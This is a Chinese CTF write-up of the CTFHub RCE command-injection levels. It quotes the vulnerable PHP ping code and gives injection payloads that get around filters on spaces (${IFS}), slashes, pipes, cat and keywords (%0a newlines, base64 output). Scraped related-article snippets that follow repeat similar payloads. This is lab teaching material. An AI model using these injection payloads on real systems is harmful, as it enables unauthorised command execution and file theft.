CTFHub技能树RCE命令注入
1.命令注入
// 关键代码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip,
$cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接
exec($cmd, $res);// 执行cmd,把结果输出到res
}
if ($res) {
print_r($res);// 打印结果
}
show_source(__FILE__);
?>
根据第五行代码,这里直接拼接就行
看到有一个php文件,8061098418328.php,直接用cat,但是没有显示,
右键查看网页源代码得到FLAG
或者考虑到有特殊字符,无法回显,使用base64编码,拿到flag。
这里用到了管道符|,表示把上一条命令的输出作为下一条命令的输入
2、过滤CAT
思路:代替cat
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
没有回显,查看网页源代码,或者base64输出解码
3、过滤空格
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
思路:代替空格
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}
、${IFS}
来代替空格
(127.0.0.1;cat${IFS}flag_64402731720130.php
,我用的几个只有${IFS}
成功了)
**
4、过滤目录分隔符
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
直接祭出poc127.0.0.1;cd flag_is_here;cat flag_5898818519729.php |base64
**
5、过滤运算符
这个题感觉有个漏洞就是i直接查看网页源代码就看到flag了
正常的思路应该是base64输出出来
过滤了管道符|
而file | base64也可以写成base64 file
127.0.0.1; base64 flag_297281061019145.php
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
**
**
6、综合过滤练习
思路:
过滤了|,&,;, ,/,cat,flag,ctfhub
空格可以用${IFS}
cat可以用more
flag可以用正则f***
ctfhub应该用不到
查了一下,在linux下,命令分隔符除了;还有%0a
有了;就可以不用运算符了
然后按着之前的思路去做就可以了
查看目录 127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
查看文件内容(谷歌浏览器右键查看网页源代码得到flag)127.0.0.1%0acd${IFS}f***_is_here${IFS}%0amore${IFS}f***_313271338621245.php
base64输出flag 127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_313271338621245.php
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
过程中遇到的问题
因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码
**
CTFHub技能树RCE命令注入的更多相关文章
- ctfhub技能树—RCE—命令注入
打开靶机 查看页面信息 输入127.0.0.1进行测试 构造payload 127.0.0.1&ls 查看文件内容信息 127.0.0.1 & cat 179852221619745. ...
- ctfhub rce 命令注入 过滤cat 过滤空格 过滤目录分隔符
命令注入 源码直接给了出来尝试127.0.0.1;ls 发现一串数字的php文件cat查看 127.0.0.1|cat 233382768628619.php 查看源码发现flag 过滤cat 这题和 ...
- ctfhub技能树—RCE—综合过滤练习
打开靶机 查看页面信息 查看源码可以发现这一次过滤了很多东西,查看当前目录信息 查询到%0a为换行符,可以利用这个url编码进行命令注入,开始尝试 http://challenge-2a4584dab ...
- ctfhub技能树—RCE—过滤空格
打开靶机 查看页面信息 开始尝试注入 127.0.0.1 || ls 尝试绕过 127.0.0.1||ls 使用cat命令查看flag 127.0.0.11||cat<flag_10872536 ...
- ctfhub技能树—RCE—过滤目录分隔符,过滤运算符
过滤目录分隔符 打开靶机 查看页面信息 查询当前目录下文件结构 进入flag_is_here目录 127.0.0.1;cd flag_is_here 127.0.0.1||ls 执行之后发现还是在当前 ...
- ctfhub技能树—RCE—过滤cat
打开靶机 查看页面信息 构造payload 127.0.0.1 || ls 题目提示过滤了cat,但我还是想试试 果然不行 网页访问没有结果,应该和上题一样被注释了,使用和同样的方法进行解题 利用命令 ...
- CTFHub web技能树之RCE初步 命令注入+过滤cat
在一个大佬的突然丢了个题过来,于是去玩了玩rce的两道题 大佬的博客跳转链接在此->>>大佬召唤机 叫 命令注入 一上来就是源码出现,上面有个ping的地方 <?php $re ...
- CTFHub web技能树 RCE
一个简单的ping,还没有过滤,源码也给出来了 ls一下 127.0.0.1 & ls 有一个可疑的php文件,,,但是直接访问和 cat 都出不来... 试了几下反弹shell,没成功... ...
- DVWA系列精品教程:2、命令注入
文章更新于:2020-04-11 注:如何搭建环境参见:搭建DVWA Web渗透测试靶场 DVWA之命令注入漏洞 一.介绍 1.1.官方说明 1.2.总结 二.命令注入实践 2.1.安全级别:LOW ...
- OS命令注入
SSL http://kb.cnblogs.com/page/162080/ http://baike.baidu.com/link?url=jPitKuDw_ncDlMbOc1SkWzM9TuKX9 ...
随机推荐
- 目前get到最好用的内网穿透软件
官网:https://www.natfrp.com/ 软件名称:SakuraLauncher 不花钱可以获取到两个隧道,如果不想花钱的话,每天签到领流量即可 之前用过cpolar,飞鸽,ngrok,但 ...
- Typecho自定义右键菜单美化和禁用F12
右键美化 使用右键美化,请禁用 HoerMouse 鼠标美化插件,否则貌似没效果 Joe主题在后台-外观设置-设置外观-全局设置-自定义<body></body>标签内填入如下 ...
- Ansible - [01] 入门&安装部署
自动化运维工具,可以批量远程其他主机并进行管理操作 一.什么是 Ansible Ansible首次发布于2012年,作者:Michael DeHaan,同时也是Cobbler的作者,Ansible于2 ...
- PowerShell实现读取照片并做灰度处理
Powershell一直是我的学习目标.做一个小例子.PowerShell实现读取照片并做灰度处理.还想要保存这张灰度照片并直接打开查看. 分析需求: [读取照片] 需要借助.net framewo ...
- 浅谈processing-java.exe应用程序的使用(与PowerShell的联合)
简单总结一下processing-java.exe的使用,以及和PowerShell结合,如何互相调用和传参. Processing-java 这是 processing-java.exe 的官方说明 ...
- idea 导入普通的项目后,无法发布
之前一直都是在eclipse开发,现在改idea,但是很多隐藏的功能,都不晓得在哪里找到. 问题: 新导入一个spring 项目(没有maven),在界面上看是没有问题,但是使用tomcat部署项目的 ...
- mongodb logical sessions can't have multiple authenticated users
前言 使用 mongodb db.auth,切换用户时,报以下错误 logical sessions can't have multiple authenticated users 原因是 mongo ...
- NumPy学习12
今天学习了 22, NumPy矩阵乘法 23, NumPy IO操作 numpy_test12.py : import numpy as np ''' 22, NumPy矩阵乘法 矩阵乘法是将两个矩阵 ...
- 记一次Linux虚拟机分配内存不足的处理方案
记一次Linux虚拟机硬盘空间不足的处理方案 **起因:**公司的服务器是windows的,而我需要一个基于Linux的dev环境,于是用vmvare创建了一个centos7的系统实例,里面安装mys ...
- 【Guava工具类】Strings&Ints
String相关工具 Strings Guava 提供了一系列用于字符串处理的工具: 对字符串为null或空的处理 nullToEmpty(@Nullable String string):如果非空, ...